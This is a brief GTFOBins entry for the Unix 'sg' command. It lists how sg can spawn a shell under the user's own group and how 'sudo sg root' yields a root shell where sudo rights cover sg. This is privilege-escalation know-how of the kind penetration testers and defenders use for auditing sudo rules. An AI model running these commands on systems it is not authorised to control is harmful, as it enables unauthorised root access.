GTFOBins.github.io/_gtfobins/sg.md

235 B

functions
shell sudo
description code
Commands can be run if the current user's group is specified, therefore no additional permissions are needed. sg $(id -ng)
code
sudo sg root